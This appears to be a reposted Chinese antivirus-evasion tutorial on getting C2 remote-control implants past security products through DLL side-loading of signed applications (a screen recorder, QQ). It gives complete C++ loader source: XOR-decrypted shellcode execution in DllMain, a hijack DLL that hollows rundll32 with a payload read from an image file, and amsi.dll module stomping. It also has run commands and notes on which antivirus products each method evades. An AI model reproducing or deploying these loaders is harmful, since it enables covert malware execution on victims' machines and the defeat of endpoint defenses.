天水市网站建设_网站建设公司_定制开发_seo优化
2025/12/21 18:45:40 网站建设 项目流程

免杀对抗——C2远控篇&C&C++&DLL注入&过内存核晶&镂空新增&白加黑链&签名工具劫持

2025-12-21 18:41  tlnshuju  阅读(0)  评论(0)    收藏  举报

文章目录

  • 免杀对抗——第一百五十三天
    • C2远控篇&C&C++&DLL注入&过内存核晶&镂空新增&白加黑链&签名程序劫持
      • 前置知识
        • 开启360核晶
        • DLL调用逻辑
        • 白加黑
      • C2远控 - DLL注入-白加黑-调用执行&DLL劫持
        • 加载恶意DLL文件
        • 白加黑 - DLL劫持
        • 白加黑 - 增加新DLL文件
      • C2远控 - DLL劫持-白加黑-更改DLL&DLL镂空
        • 白加黑 - 改变原DLL代码
        • DLL镂空

免杀对抗——第一百五十三天

C2远控篇&C&C++&DLL注入&过内存核晶&镂空新增&白加黑链&签名程序劫持

前置知识

开启360核晶
DLL调用逻辑
  • 在Windows中,程序加载DLL的逻辑顺序如下:
    (1)可执行程序加载的目录
    (2)系统目录
    (3)16位系统目录
    (4)Windows目录
    (5)运行某文件的所在目录
    (6)路径环境变量中列出的目录
白加黑

C2远控 - DLL注入-白加黑-调用执行&DLL劫持

加载恶意DLL文件
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>#include <iostream>HANDLE My_hThread = NULL;DWORD  WINAPI  ceshi(LPVOID pParameter){char encryptedShellcode[] = "<ShellCode>";// 定义解密所用的密钥char key[] = "<Key>";// 定义一个与加密shellcode大小相同的数组用于存储解密后的shellcodeunsigned char shellcode[sizeof encryptedShellcode];// 获取密钥的长度int keylength = strlen(key);// 遍历加密的shellcode,并使用异或操作进行解密,将结果存储在shellcode数组中for (int i = 0; i < sizeof encryptedShellcode; i++) {shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];printf("\\x%x", shellcode[i]);}// 获取解密后的shellcode的地址char* addrShellcode = (char*)shellcode;// 声明一个DWORD变量用于存储旧的内存保护属性DWORD dwOldPro = 0;// 更改解密后的shellcode所在内存区域的保护属性,允许执行、读、写BOOL ifExec = VirtualProtect(addrShellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);// 使用EnumUILanguages函数执行解密后的shellcodeEnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);return 0;}BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}extern"C" _declspec(dllexport) void test(){int a;a = 0;}
  • 如果这里是32位的ShellCode,并且在之后生成运行时显示"xxx.dll出错,缺少xxx条目"的,需要在当前目录加一个mydll.def文件,写入如下内容:
; mydll.def - 强制导出未修饰的函数名
LIBRARY Dll1  ; 你的DLL名称(不含.dll)
EXPORTSceshi      ; 导出的函数名
  • 然后配置项目属性:
    在这里插入图片描述
    在这里插入图片描述

  • 接着我们将生成的dll文件(我这里是Dll1.dll)放到目标主机,运行如下命令:

// rundll32.exe dll文件 入口函数
rundll32/rundll32.exe Dll1.dll ceshi

在这里插入图片描述

  • 可以看到不考虑免杀的情况是能够成功上线的,但是这种方式免杀性极弱,而且很多时候杀毒软件都会拦截rundll32.exe这些程序的操作,所以效果不佳
白加黑 - DLL劫持
白加黑 - 增加新DLL文件
  • 刚才那种替换DLL文件的方式失败了,缺少某个dll文件会导致整个程序无法运行,所以我们想到不改变原本的文件结构添加DLL文件

  • 于是可以用一些工具,比如StudyPE+去添加DLL,需要注意DLL文件的位数,选择对应位数的程序启动,将libfontconfig-1.dll文件拖进去,点击导入函数,添加我们的恶意DLL:
    在这里插入图片描述

  • 这里添加函数时可能会显示PE位数不对,原因是原本的DLL是32位,我这里编译成了64位,所以重新编译成32位即可:
    在这里插入图片描述

  • 导入成功后就会多出一个我们的恶意函数test(),将这个函数添加进去:
    在这里插入图片描述

  • 关闭时点击保存覆盖掉原来的DLL文件,并且将这两个DLL文件放到原目录下面,然后我们再运行这个KK录像程序,就会发现程序运行成功并且也上线成功了:
    在这里插入图片描述

  • 其实它的调用逻辑就是:

KK程序  -->  libfontconfig-1.dll  -->  Dll1.dll  -->  上线
  • 不过现在这个技术火绒、360、DF、卡巴都过不了,会直接查杀这个KK.exe文件,所以还得再做得隐蔽一些才行

C2远控 - DLL劫持-白加黑-更改DLL&DLL镂空

白加黑 - 改变原DLL代码
Rules:
Process Name     is        QQ.exe         Include
Result           is        SUCCESS        Include
Path          contains     dll            Include
Path          contains     System32       Exclude
  • 然后这里我们找到的是TaskTray.dll文件,当然找其他的也是一样的,只是这个文件之后识别出来的函数会少一点,比较好改动:
    在这里插入图片描述

  • 我们将这个文件拿出来,用VS自带的dumpbin工具去查看它的位数以及包含的函数:

# 查看包含函数
.\dumpbin /exports "D:\Program Files(x86)\Tencent\QQ\Bin\TaskTray.dll"
# 查看位数
.\dumpbin /headers "D:\Program Files(x86)\Tencent\QQ\Bin\TaskTray.dll"

在这里插入图片描述
在这里插入图片描述

  • 当然也可以通过StudyPE+程序直接查看:
    在这里插入图片描述
    在这里插入图片描述

  • 这个函数其实就是导出函数,也就是类似于我们之前自己写的像test()ceshi()这样的函数,那我们其实就可以直接自己写一个新的DLL文件,将这些信息也放到我们的DLL文件中:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>#include <stdlib.h>#include <stdio.h>using namespace std;extern "C" __declspec(dllexport) int DllCanUnloadNow(){return 0;}extern "C" __declspec(dllexport) int DllGetClassObject(){return 0;}extern "C" __declspec(dllexport) int DllRegisterServer(){return 0;}extern "C" __declspec(dllexport) int DllUnregisterServer(){return 0;}BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH: {FILE* fp;size_t size;unsigned char* buffer;fp = fopen(".\\1.bmp", "rb");fseek(fp, 0, SEEK_END);size = ftell(fp);fseek(fp, 0, SEEK_SET);buffer = (unsigned char*)malloc(size);fread(buffer, size, 1, fp);char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u);memcpy((void*)v7A, buffer, size);struct _PROCESS_INFORMATION ProcessInformation;struct _STARTUPINFOA StartupInfo;void* v24;CONTEXT Context;memset(&StartupInfo, 0, sizeof(StartupInfo));StartupInfo.cb = 68;BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);if (result){Context.ContextFlags = 65539;GetThreadContext(ProcessInformation.hThread, &Context);v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, size, 0x1000u, 0x40u);WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, size, NULL);// 64 位使用 Context.Rip = (DWORD_PTR)v24;Context.Eip = (DWORD_PTR)v24;//Context.Rip = (DWORD_PTR)v24;SetThreadContext(ProcessInformation.hThread, &Context);ResumeThread(ProcessInformation.hThread);CloseHandle(ProcessInformation.hThread);result = CloseHandle(ProcessInformation.hProcess);}TerminateProcess(GetCurrentProcess(), 0);}case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}
  • 然后这里我们采用一种新的ShellCode混淆方式,即图片混淆,通过网上的项目:Mr-Un1k0d3r/DKMC: DKMC - Dont kill my cat - Malicious payload evasion tool
python2 dkmc.py
gen
set shellcode xxxx
run
  • 将ShellCode隐写到图片中,然后通过上面的方式进行读取,将生成的DLL文件更名为TaskTray.dll,连同图片一起放到目标主机上,运行qq程序成功上线:
    在这里插入图片描述

  • 过火绒还是轻轻松松,360、DF目前也还是能过,只是不太稳定,莫名奇妙会掉,但是也不报毒,也不查杀,我感觉是这个CS工具有点问题

DLL镂空
  • 这个和之前进程镂空技术差不多,不过我们这里是让其他进程去帮我们加载一个新的恶意DLL文件,这个DLL文件通过代码自动生成,直接上代码:
#include <iostream>#include <Windows.h>#include <psapi.h>int main(int argc, char* argv[]){HANDLE processHandle;PVOID remoteBuffer;wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";HMODULE modules[256] = {};SIZE_T modulesSize = sizeof(modules);DWORD modulesSizeNeeded = 0;DWORD moduleNameSize = 0;SIZE_T modulesCount = 0;CHAR remoteModuleName[128] = {};HMODULE remoteModule = NULL;// 64位shellcodechar encryptedShellcode[] = "<ShellCode>";// 定义解密所用的密钥char key[] = "<Key>";// 定义一个与加密shellcode大小相同的数组用于存储解密后的shellcodeunsigned char shellcode[sizeof encryptedShellcode];// 获取密钥的长度int keylength = strlen(key);// 遍历加密的shellcode,并使用异或操作进行解密,将结果存储在shellcode数组中for (int i = 0; i < sizeof encryptedShellcode; i++) {shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];printf("\\x%x", shellcode[i]);}// 创建远线程注入正常的DLLprocessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 3488);remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);WaitForSingleObject(dllThread, 1000);// 找到注入的DLL模块基址EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);modulesCount = modulesSizeNeeded / sizeof(HMODULE);for (size_t i = 0; i < modulesCount; i++){remoteModule = modules[i];GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));if (std::string(remoteModuleName).compare("amsi.dll") == 0){std::cout << remoteModuleName << " at " << modules[i];break;}}//得到DLL入口点DWORD headerBufferSize = 0x1000;LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);std::cout << ", entryPoint at " << dllEntryPoint;// 覆盖DLL代码WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);// 远线程执行CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);return 0;}
  • 这样直接生成的EXE文件啥都过不了,我们还是暂时不考虑免杀,看看运行效果:
Dll1.exe <PID>

在这里插入图片描述

  • 这里需要PID为32位的程序,然后如果显示的不是at 0000000就说明应该是成功了,but这里我也没成功,所以这个技术基本没什么鸟用,查杀很严重

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询